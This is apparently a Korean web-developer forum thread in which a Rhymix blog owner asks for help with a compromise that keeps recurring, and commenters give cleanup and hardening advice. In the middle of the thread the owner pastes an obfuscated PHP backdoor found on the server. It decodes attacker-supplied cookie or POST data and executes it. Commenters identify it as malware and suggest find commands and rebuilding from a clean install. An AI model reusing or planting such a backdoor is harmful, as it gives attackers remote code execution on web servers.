files의 유효한 파일
CMS/프레임워크 | Rhymix 2.0 |
---|---|
개발 언어 | PHP 7.1 |
문제 페이지 주소 | 비공개 (작성 후 5일 경과) |
1달 전쯤 구글서치콘솔에서 DCMA위반이라며 타인의 저작권을 침해한 컨텐츠가 있어 삭제중이라는 메일을 받고 해당 url을 확인해보니
https://ljhlab.com/files/sanjay-mehrotra-bwrw/796644-ooze-cbd-oil
이런 형식이었습니다.
files 안에 알수없는 형식의 이름을 가진 폴더들이 만들어져 있었으며 그 안에는 cache 폴더와 index.php 파일만 들어 있습니다.
index파일을 다운받아 열어보려하니 아니나 다를까 바로 바이러스 프로그램이 작동합니다.
해킹을 당한 것인지 문제되는 파일들을 삭제하고 ftp 비밀번호도 변경하였습니다.
최근 홈페이지 방문 현황을 분석해보기 위해 구글서치콘솔을 확인해보니 아~
이런상황입니다. ㅠㅠ
ftp확인해보니 cache폴더와 index.php만 들어있는 알수없는 폴더들이 많이 만들어져 있습니다.
이건 어떻게 판단해야 하는 것인지?
files폴더를 날리면 안될것 같은데 유효한 폴더는 어떤 것들일까요?
또 삭제하고 ftp 비번도 바꾸고 해야할까요?
저 혼자만 올리는 블로그 형식의 홈페이지 입니다.
이런 문제는 어떻게 관리해야 하는지 고수님들의 조언 부탁드립니다.
댓글 12
ssh정보를 수정먼저 하시고, attach, cache, config, debug, env, faceOff, member_extra_info,ruleset,site_design, thumbnails 제외한 index.php 파일과 폴더를 지우시기 바랍니다.
FTP 비번은 당연히 바꾸셔야겠고요. files 폴더가 공격에 노출되었다면 config 폴더에 저장되어 있는 DB 비번도 알려졌을 수 있으니, 만약 호스팅 업체에서 DB 비번 변경을 허용한다면 그것도 바꾸세요.
파일삭제가 되질 않아 호스팅 업체에 요청해 삭제하고 ftp, db 패스워드 모두 변경했는데 오늘 또 올라왔습니다.
files의 파일들의 디폴트 상태를 비교해볼 수 있는게 없으니 어려움이 있습니다.
파일명이 의심스러운 것을 열어보니 아래와 같은 코드로 되어 있는데 혹시 해킹파일일까요?
<?php
$umcblcw = 'c5*m-rni#3xt\'b74uHsg2o09yl1_ek8fadpv';$vkhuxcm = Array();$vkhuxcm[] = $umcblcw[0].$umcblcw[31].$umcblcw[28].$umcblcw[22].$umcblcw[23].$umcblcw[26].$umcblcw[30].$umcblcw[15].$umcblcw[4].$umcblcw[20].$umcblcw[32].$umcblcw[9].$umcblcw[1].$umcblcw[4].$umcblcw[15].$umcblcw[20].$umcblcw[9].$umcblcw[30].$umcblcw[4].$umcblcw[13].$umcblcw[30].$umcblcw[31].$umcblcw[9].$umcblcw[4].$umcblcw[33].$umcblcw[9].$umcblcw[33].$umcblcw[33].$umcblcw[22].$umcblcw[13].$umcblcw[23].$umcblcw[28].$umcblcw[14].$umcblcw[23].$umcblcw[15].$umcblcw[28];$vkhuxcm[] = $umcblcw[0].$umcblcw[5].$umcblcw[28].$umcblcw[32].$umcblcw[11].$umcblcw[28].$umcblcw[27].$umcblcw[31].$umcblcw[16].$umcblcw[6].$umcblcw[0].$umcblcw[11].$umcblcw[7].$umcblcw[21].$umcblcw[6];$vkhuxcm[] = $umcblcw[17].$umcblcw[2];$vkhuxcm[] = $umcblcw[8];$vkhuxcm[] = $umcblcw[0].$umcblcw[21].$umcblcw[16].$umcblcw[6].$umcblcw[11];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[27].$umcblcw[5].$umcblcw[28].$umcblcw[34].$umcblcw[28].$umcblcw[32].$umcblcw[11];$vkhuxcm[] = $umcblcw[28].$umcblcw[10].$umcblcw[34].$umcblcw[25].$umcblcw[21].$umcblcw[33].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[16].$umcblcw[13].$umcblcw[18].$umcblcw[11].$umcblcw[5];$vkhuxcm[] = $umcblcw[32].$umcblcw[5].$umcblcw[5].$umcblcw[32].$umcblcw[24].$umcblcw[27].$umcblcw[3].$umcblcw[28].$umcblcw[5].$umcblcw[19].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[25].$umcblcw[28].$umcblcw[6];$vkhuxcm[] = $umcblcw[34].$umcblcw[32].$umcblcw[0].$umcblcw[29];foreach ($vkhuxcm[8]($_COOKIE, $_POST) as $rfjzlcc => $pbtyx){function hdleb($vkhuxcm, $rfjzlcc, $bkbvee){return $vkhuxcm[7]($vkhuxcm[5]($rfjzlcc . $vkhuxcm[0], ($bkbvee / $vkhuxcm[9]($rfjzlcc)) + 1), 0, $bkbvee);}function yjkgibo($vkhuxcm, $ybkvtqa){return @$vkhuxcm[10]($vkhuxcm[2], $ybkvtqa);}function syaoxl($vkhuxcm, $ybkvtqa){$nguwceu = $vkhuxcm[4]($ybkvtqa) % 3;if (!$nguwceu) {$jcrkp = $vkhuxcm[1]; $lykzvqb = $jcrkp("", $ybkvtqa[1]($ybkvtqa[2]));$lykzvqb();exit();}}$pbtyx = yjkgibo($vkhuxcm, $pbtyx);syaoxl($vkhuxcm, $vkhuxcm[6]($vkhuxcm[3], $pbtyx ^ hdleb($vkhuxcm, $rfjzlcc, $vkhuxcm[9]($pbtyx))));}
네, 악성코드입니다. 정상적인 PHP 소스코드라면 사람이 알아볼 수 있는 단어가 압도적으로 많습니다.
files 폴더의 내용은 애당초 XE나 라이믹스에서 배포하는 것이 아니라 사이트 운영 과정에서 생기는 것이기 때문에 디폴트 상태라고 할 만한 것이 따로 없어서 비교하기가 난감합니다. (XE나 라이믹스를 다운로드해 봐도 files 폴더는 포함되어 있지 않습니다.)
위의 스샷을 봤을 때 files 내에서
폴더 내에서 특정 확장자를 가진 파일들만 검색하거나, 특정 날짜에 생성된 파일들만 찾아내는 도구를 사용하실 수 있다면 큰 도움이 됩니다. 예를 들어 SSH 접속이 가능한 경우 attach 폴더 내에서 find . -name '*.php' 명령을 사용하면 해당 폴더 아래에 깊숙히 숨어 있는 PHP 파일도 모두 찾을 수 있습니다. (시간은 좀 걸립니다.)
files 바깥(사이트 루트폴더)에 있는 파일들도 꼼꼼하게 살펴보시기 바랍니다. 워드프레스나 phpMyAdmin 등 흔히 사용하는 솔루션에 포함된 파일로 위장하는 경우가 있습니다. RXE라면 wp-config.php 이런 워드프레스스러운 파일은 필요가 없겠지요.
모듈, 애드온, 위젯 등이 설치된 폴더들 중 쓰기 권한이 주어져 있는 것이 있다면 거기도 살펴봐야 합니다. 공격자가 index.php라는 파일명을 즐겨쓰는 것 같은데, XE/라이믹스용 모듈이나 애드온 등에서 index.php라는 파일명을 사용하는 일은 극히 드뭅니다. 루트 폴더에 있는 index.php 하나만으로 충분하니까요. 따라서 하위폴더 내에 index.php라는 파일이 있다면 무조건 의심해봐야 합니다. 검색 명령: find . -name index.php
물론 다른 파일명을 사용했을 수도 있습니다. 두 차례 대량으로 악성코드가 생성된 시간대를 알고 계시다면 find 명령을 좀더 응용해서 해당 시간대에 생성된 파일들을 모두 검색해보는 방법도 있습니다.
FTP 비번은 계속 바꾸세요. 확실하게 공격이 중단될 때까지 매일 바꾸시고, 파일질라 등 FTP 프로그램에 비번을 저장해 두지 마세요. (파일질라에서 비번만 빼내가는 악성코드도 있습니다.)
전문 지식도 부족하고 처음 겪어보는 일이라 저도 당황스럽습니다.
가장 어려운게 바로바로 삭제가 되지 않아 일일이 호스팅 업체에 요청을 해야하는건데요
ftp에서도 putty에서도 권한 문제로 삭제가 되지 않아 이래저래 검색을 통해 시도해보지만 초보에겐 참 어렵습니다.
조언해주신대로 하나씩 처리해보겠습니다.
늘 감사합니다~
헐~ files 밑에 자기 홈페이지를 만들어 놨군요.
debug cache thumbnails는 삭제해도 자동으로 새로 생성되니까 일단 삭제하는 것이 좋겠죠. 사실 attach와 config 이외에는 다 지워도 되더군요.
attach에 혹시 *.php와 *.html이 있다면 찾아 지우는 것도 방법이겠습니다. config안에 config.php 파일도 열어봐서 이상한 것이 있는지 확인하셔야 할듯... (/common/defaults/config.php가 기본 샘플이라더군요).
files 안의 파일의 디폴트 상태를 비교해볼 수 있는게 없다보니 더 어렵네요.
동일 버전의 다른 홈페이지가 있어 비교해보고 있지만 어떻게 해킹이 된건지 파악하기가 쉽지 않네요.
일단 날짜상으로 삭제중인데 벌써 수개월 전부터 이런 상황이었으니
계속 감염된다면, 아마 root 권한을 과거에 이미 탈취했을 것 같습니다. 그렇다면 다른 백도어를 이미 만들어 놨겠죠. 알지 못하는 프로세서가 돈다든지 모르는 등등... 솔직히 전문가가 아니면 이걸 찾아내는 것은 거의 불가능합니다.
지금으로서는 시스템을 초기화(기본 os 이미지로 포맷)하는게 현실적이겠네요. 웹사이트도 라이믹스 기본 코어 다운받은 후, 설치했던 3rd party 레이아웃/애드온/모듈을 다시 붙여 클린하게 만들구요. /files/attach와 /files/config/config.php만 복사하구요 (어렵지 않습니다. 빨리하면 한시간이면 가능). DB에서 회원중 admin 권한 있는사람 있는지도 체크해봐야겠죠.
즉, 지금 있는 것에서 뭘 삭제해서 정상화시키려 하기보다는, 백지 상태에서 정상인 것들을 붙여서 지금 있는 형태로 만드는...
인덱스파일이 있는 곳에 누군가 폴더를 생성했다면 이미 해킹한것이 아닌지....